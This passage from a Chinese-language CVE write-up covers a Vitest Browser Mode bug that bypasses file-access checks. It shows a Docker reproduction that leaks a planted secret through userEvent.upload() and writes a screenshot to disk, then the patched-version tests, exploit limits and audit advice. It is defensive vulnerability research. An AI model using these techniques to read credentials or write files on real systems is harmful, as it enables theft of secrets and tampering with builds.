docker compose -f "${ROOT_DIR}/docker-compose.yml" run --build --rm vulnerable
test -f "${ROOT_DIR}/repro-output/vulnerable/out.png"换句话说,宿主机真正执行的核心动作就是:
docker compose -f docker-compose.yml run --build --rm vulnerable容器内部再展开成:
TARGET_TEST=tests/vulnerable.test.js REPORT_FILE=/app/repro-output/report.txt /app/entrypoint.sh
ls -l /app/repro-output图 10-2:脆弱版 vitest@4.1.9 在容器内执行后的终端输出。日志里已经出现 LEAKED_SECRET,同时目录中出现了额外 PNG 产物。
这张图同时证明了两件事:
LEAKED_SECRET:TOP_SECRET_DO_NOT_READ已经说明userEvent.upload()成功把本应被拒绝的/app/secret.txt交给了浏览器侧<input type="file">/app/repro-output/下同时出现browser-upload-leak.png和out.png,说明浏览器侧传入的截图路径最终落到了宿主文件系统
为了让“读取面成功”不只停留在终端日志里,测试在读出文件内容后,会把结果直接渲染到页面,再由 Browser Mode 生成页面截图。
图 10-3:浏览器页上的 <input type="file"> 已经拿到了 secret.txt,并把泄露内容直接显示在页面上。
同样地,截图写入链也不只是“目录里多了一个文件”这么抽象。待截图页面本身包含说明文字,因此生成的 out.png 可以直接作为漏洞证据。
图 10-4:page.screenshot({ path: '/app/repro-output/out.png' }) 成功把页面落盘到文件系统,说明 allowWrite: false 在脆弱版中没有被真正执行。
从复现角度看,脆弱版最重要的判断标准就是下面这组三连:
- 报告文件里出现
LEAKED_SECRET:TOP_SECRET_DO_NOT_READ - 浏览器页截图
browser-upload-leak.png明确展示泄露内容已经回流到浏览器上下文 - 输出目录中出现
out.png
只要这三条同时成立,就可以确认“读”和“写”两条链都已经打穿。
10.5 修复版:同样的输入为什么会翻转成拒绝
修复版不改实验思路,只改版本和断言。对应测试代码如下:
test('blocks upload() access to denied files after the patch', async () => {
document.body.innerHTML = `
<main>
<input id="upload-target" type="file" />
</main>
`
const input = document.querySelector('#upload-target')
const error = await userEvent.upload(input, 'secret.txt').then(() => null, err => err)
console.log(`UPLOAD_BLOCKED:${error?.message ?? 'missing error'}`)
expect(error).toBeTruthy()
expect(error.message).toMatch(/Access denied/i)
})
test('blocks screenshot writes when browser.api.allowWrite is false after the patch', async () => {
const error = await page.screenshot({ path: '/app/repro-output/out.png' }).then(() => null, err => err)
console.log(`SCREENSHOT_BLOCKED:${error?.message ?? 'missing error'}`)
expect(error).toBeTruthy()
expect(error.message).toMatch(/Cannot modify file/i)
})宿主机侧的修复版入口也只做一件事:运行 fixed 服务后,确认 out.png 没有生成。
#!/usr/bin/env bash
set -euo pipefail
mkdir -p "${ROOT_DIR}/repro-output/fixed"
rm -f "${ROOT_DIR}/repro-output/fixed/out.png" "${ROOT_DIR}/repro-output/fixed/report.txt"
docker compose -f "${ROOT_DIR}/docker-compose.yml" run --build --rm fixed
if [[ -f "${ROOT_DIR}/repro-output/fixed/out.png" ]]; then
echo "fixed verification failed: screenshot artifact should not exist" >&2
exit 1
fi修复版保持相同测试意图,只把版本切换到 vitest@4.1.10,然后继续在容器里执行同样结构的命令:
TARGET_TEST=tests/fixed.test.js REPORT_FILE=/app/repro-output/report.txt /app/entrypoint.sh
ls -l /app/repro-output图 10-5:修复版 vitest@4.1.10 在容器内执行后的终端输出。两条危险操作都被明确拒绝,且目录里不再生成 out.png。
修复版这张图比“测试通过”更有价值的地方,在于它把两道拦截都展示成了可读错误:
UPLOAD_BLOCKED:Access denied to "/app/secret.txt"...SCREENSHOT_BLOCKED:Cannot modify file "/app/repro-output/out.png"...
这正好对应补丁中新引入的两类统一检查:
assertBrowserFileAccess(...)负责把upload()的文件读取重新拉回server.fs约束assertBrowserApiWrite(...)负责把page.screenshot()的写文件动作重新拉回allowWrite约束
修复版并不是“看起来没有复现”,而是以明确错误的形式证明了两个安全闸门已经重新生效。
10.6 结果和漏洞原语的对应关系
为了避免把“看到了几张图”误解成“已经证明所有变种都能利用”,下面把本地证据和它们各自能证明的范围对应起来:
本地证据 | 证明的能力 | 不能单独证明什么 |
|
| 不能单独推出所有 provider 都存在相同读取面 |
| 泄露内容已经回流到浏览器上下文,可被测试代码直接读取 | 不能单独推出远程攻击者一定能直接打到该链 |
|
| 不能单独推出任意字节内容写入 |
修复版 | 补丁把读取和写入两类路径重新纳入统一闸门 | 不能单独证明 trace / annotation 等所有其他链都被完全消灭 |
这组 Docker 复现的意义,不是穷尽所有 provider 和所有命令,而是用最短路径确认这次 CVE 的两个核心安全结论:
- 修复前,Browser Mode 内建命令确实能绕过策略层读写本地文件
- 修复后,这两条最关键的文件触达路径已经重新受到统一安全检查约束
11. 失败边界与不可利用条件:这个洞明确“做不到什么”
如果一篇漏洞分析只写“能做什么”,很容易把读者带向过度推断。这个 CVE 至少存在几条明确边界:
- 它不等价于“任意内容写入”。
takeScreenshot和screenshotMatcher写出去的是 PNG / diff / reference 图,stopChunkTrace写出去的是 trace 压缩包。攻击者通常能控制写到哪里,但不能像模板注入那样直接把任意 payload 字节写进目标文件。 - 本文没有证明该 CVE 单独即可稳定达到 RCE。
读取敏感文件、覆盖产物、删除文件、通过 artifact 外带,这些影响已经足够严重;但“仅凭这一个漏洞直接拿到代码执行”并不是本文已验证结论。 - 不是所有路径都具备同样强的路径自由度。
page.screenshot({ path })这类接口的路径控制最直接;screenshotMatcher则往往还受 reference / actual / diff 命名规则影响,虽然写盘面真实存在,但它的路径塑形未必像显式 screenshot API 那么自由。 - 读取能否成功仍受 OS 权限约束。
这个漏洞绕过的是 Vitest / Vite 的逻辑边界,不会绕过操作系统本身的文件权限模型。Node 进程读不到的文件,Browser API 也读不到。 - 默认
localhost且测试代码可信的环境,远程利用条件并不天然满足。
在这种场景里,它更像“隔离假设失效”而不是“互联网暴露即刻被打”的问题。
把这些边界写清楚,文章会更像技术研究,而不是把所有危险后果都一股脑外推。
11.1 但哪些高阶后果仍然值得警惕
虽然本文没有把它直接链到 RCE,但下面这些后果在真实工程环境里已经足够严重:
- 读取
.env、token、云凭证、SSH key、CI secret 等本地敏感文件 - 覆盖 screenshot / snapshot / trace / 测试产物,造成污染或误导
- 删除已有本地文件,破坏构建或测试状态
- 通过 trace attachment / artifact 流程把本地文件带出到报告、CI artifact 或调试产物中
也就是说,这个漏洞最稳定的价值并不是“马上执行命令”,而是打穿原本被认为存在的本地文件访问边界。
12. 把它放回 Vitest Browser Mode 的漏洞谱系里看
单看 CVE-2026-73653,很容易把它理解成一个独立的 provider 权限绕过问题;但如果和 Vitest 近两年的 Browser Mode / API 漏洞放在一起看,会发现它属于同一类设计主题的重复暴露:
编号 | 披露日期 | 核心问题 | 共性 |
| 2025-02-04 | Browser Mode HTTP handler 任意文件读取 | 服务端把本地文件能力暴露给了不该信任的边界 |
| 2025-02-04 | Vitest API 缺少 Origin 校验导致 CSWSH / RCE | 高权限 API 对低信任来源暴露 |
| 2026-06-01 | Browser Mode CDP 桥绕过 | 已定义的权限模型没有覆盖所有高权限通道 |
| 2026-07-08 | provider commands 绕过文件访问闸门 | Browser RPC 到 provider 的多条文件链缺少统一 mandatory gate |
把这几次问题连起来看,真正值得记住的不是某个具体 payload,而是一种反复出现的设计模式:
只要 Browser Mode 里存在“浏览器端可达、Node 端高权限执行”的桥,就必须默认按低信任边界设计,而不能按“开发调试工具天然可信”设计。
13. 对审计与防守工作的直接启发
这个漏洞留下的最直接经验,不是某个具体 API 名,而是一套审计方法。
以后看到下面这种产品结构,应该默认高优先级检查:
- 浏览器端、前端或客户端能传文件路径
- 服务端 provider / plugin / helper 代表客户端访问宿主文件系统
- 产品里存在不止一条文件触达路径
- 某些路径复用了安全检查,某些路径没有
具体到代码层面,可以优先搜:
triggerCommandresolvenormalizemkdirwriteFileunlinksetInputFilesrecordArtifactattachment.path
然后问一个最核心的问题:
这些 sink 前面,是否都经过了同一个 mandatory 安全检查函数。
如果答案是否定的,通常就值得继续挖。
14. 结论
CVE-2026-73653 的价值不只在于它能读写删文件,更在于它清楚展示了现代工具链里一种高频失误:
产品已经定义了权限模型,但没有把所有高权限命令都强制收口到同一个检查点。
一旦浏览器输入可以跨过 RPC 边界进入 Node/provider,任何遗漏掉安全检查的命令,都会变成一条独立的利用链。
这也是为什么这次修复的真正重点,不是封某个特殊 payload,而是把所有文件系统接触点统一收敛到:
assertBrowserFileAccess(...)assertBrowserApiWrite(...)
从漏洞研究角度看,这比单个 API 的细节更重要,因为它直接告诉你下次该去哪里找同类问题。
15. 参考资料
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-73653
- GitHub Security Advisory: https://github.com/vitest-dev/vitest/security/advisories/GHSA-p63j-vcc4-9vmv
- 主修复提交: https://github.com/vitest-dev/vitest/commit/33f96a145ef09ca6a43b4e555eb273e64a87be23
- 修复 PR: https://github.com/vitest-dev/vitest/pull/10674
- v4 回补提交: https://github.com/vitest-dev/vitest/commit/5c18dd267ff7f47f24cab2f615a16b37d90feb7f
- v3 回补提交: https://github.com/vitest-dev/vitest/commit/b795e36b34969bec50b47a9f29d26f799a6a04fb